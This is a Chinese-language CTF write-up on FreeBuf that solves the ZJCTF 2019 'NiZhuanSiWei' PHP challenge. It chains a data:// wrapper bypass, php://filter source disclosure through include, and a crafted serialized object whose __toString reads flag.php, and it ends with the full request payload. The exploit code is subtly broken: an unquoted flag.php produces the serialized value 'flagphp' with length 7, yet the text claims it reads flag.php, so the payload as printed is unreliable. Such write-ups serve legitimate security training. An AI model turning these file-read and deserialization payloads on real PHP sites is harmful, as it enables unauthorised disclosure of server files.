freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[ZJCTF 2019]NiZhuanSiWei 超详题解
changeTheWay 2023-09-05 23:31:57 174688

进入题目,看到一段PHP代码。

1693923678_64f7395e0239bf0438134.png!small?1693923678473

首先是三个GET参数text,file,password。

file_get_contents

file_get_contents() 函数把整个文件读入一个字符串中。通常括号内输入文件名。‘r’ 应该是以只读的形式打开

那么为了通过验证,我们需要$text所指代的文件内容为“welcome to the zjctf”,当然不可能指望服务器上有这样一个文件,所以应该是需要我们自己构造,这里要用到PHP伪协议。

可以参考https://www.php.net/manual/zh/wrappers.data.php

data://

用法

data://text/plain;base64,base64加密后的数据

示例 

<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

所以我们可以构造  text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=  来绕过第一段验证

接下来注意到代码中使用了include函数,可以输入文件名将文件包含进来(当前路径下的文件可以直接写文件名,但其他路径的文件要把路径带上)

根据提示,我们先包含“useless.php”文件,构造 file=useless.php,password先随便写一个。

1693925465_64f7405909743e3362adc.png!small?1693925465500


可以看到,只是打印了“welcome to the zjctf”,并没有输出“useless.php”文件的内容,

这可能是因为该文件被服务器配置文件中的规则所限制。

使用`php://filter/convert.base64-encode/resource=index.php`时,它是将目标文件(例如`index.php`)以Base64编码的形式输出到浏览器。这种方法绕过了常规的文件访问限制,通过读取文件并将其内容进行编码来显示文件的内容。

所以再次构造  file=php://filter/convert.base64-encode/resource=useless.php

1693925978_64f7425a651657bf40db8.png!small?1693925978677

这次出现了一串字符串,根据其以等号结尾的特点判断为base64编码,将其解码,得到了一串PHP代码

1693926152_64f743081a5ed6e555b3e.png!small?1693926152318

在这段代码中,定义了一个类Flag,在类中又使用了一个魔术方法__toString()

参考 https://www.twle.cn/c/yufei/phpmmethod/phpmmethod-basic-tostring.html#:~:text=%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95%20__toString%20%28%29%20%E5%BD%93%E6%88%91%E4%BB%AC%E4%BD%BF%E7%94%A8%20echo%20%E8%AF%AD%E5%8F%A5%E8%BE%93%E5%87%BA%E4%B8%80%E4%B8%AA%E5%AF%B9%E8%B1%A1%E6%97%B6%EF%BC%8C%E4%BC%9A%E8%87%AA%E5%8A%A8%E6%A3%80%E6%9F%A5%E4%B8%80%E4%B8%AA%E5%AF%B9%E8%B1%A1%E6%9C%89%E6%B2%A1%E6%9C%89%E5%AE%9A%E4%B9%89,_toString%20%28%29%20%E6%96%B9%E6%B3%95%EF%BC%8C%E5%A6%82%E6%9E%9C%E5%AE%9A%E4%B9%89%E4%BA%86%EF%BC%8C%E5%B0%B1%E4%BC%9A%E8%BE%93%E5%87%BA%20__toString%20%28%29%20%E6%96%B9%E6%B3%95%E7%9A%84%E8%BF%94%E5%9B%9E%E5%80%BC%EF%BC%8C%E5%A6%82%E6%9E%9C%E6%B2%A1%E6%9C%89%E5%AE%9A%E4%B9%89%EF%BC%8C%E9%82%A3%E4%B9%88%E4%BC%9A%E7%9B%B4%E6%8E%A5%E6%8A%9B%E5%87%BA%E4%B8%80%E4%B8%AA%E5%BC%82%E5%B8%B8%EF%BC%8C%E8%A1%A8%E6%98%8E%E8%AF%A5%E5%AF%B9%E8%B1%A1%E4%B8%8D%E8%83%BD%E7%9B%B4%E6%8E%A5%E8%BD%AC%E6%8D%A2%E4%B8%BA%E5%AD%97%E7%AC%A6%E4%B8%B2

__toString()

在 PHP 编程中,是不能用echo语句直接输出一个对象的,也不能用字符串连接符 (.) 拼接一个对象

要想输出的话,就要把实体对象转换成字符串,这也正是__tostring函数的意义所在。

在执行 echo $password 时会自动检测有没有__tostring,有的话就调用

再看后面,我们可以利用 “echo file_get_contents($this->file);” 来输出我们想要的 flag.php 文件

如何做呢?

我们构造一个自己的PHP文件

class Flag{  //flag.php  
public $file = flag.php;  
public function __tostring(){  
if(isset($this->file)){  
echo file_get_contents($this->file); 
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}  
}  
}

$demo = new Flag;
$demo = serialize($demo);//序列化之后就不是一个实体了,而是一个字符串
echo $demo;

执行这段代码

最后得到的值为 O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}

构造 password=O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}

输入的 password 经过反序列化后,就是一个 Flag 实例,并且其中的 file (这里的flie可不是第一个PHP中的参数file)属性值为“flag.php”,在 echo 时调用__tostring()函数,就可以通过 file_get_contents 函数顺利读到flag.php的内容了

最后的payload就是:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}

1693927786_64f7496a4c8bba2bef4a3.png!small?1693927786713

答案应该在源码里了。

1693923621_64f739250c6df2a3f44be.png!small?1693923621568

# web安全 # CTF
本文为 changeTheWay 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
changeTheWay LV.2
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 0 关注者
kali虚拟机如何使用主机代理
2024-01-13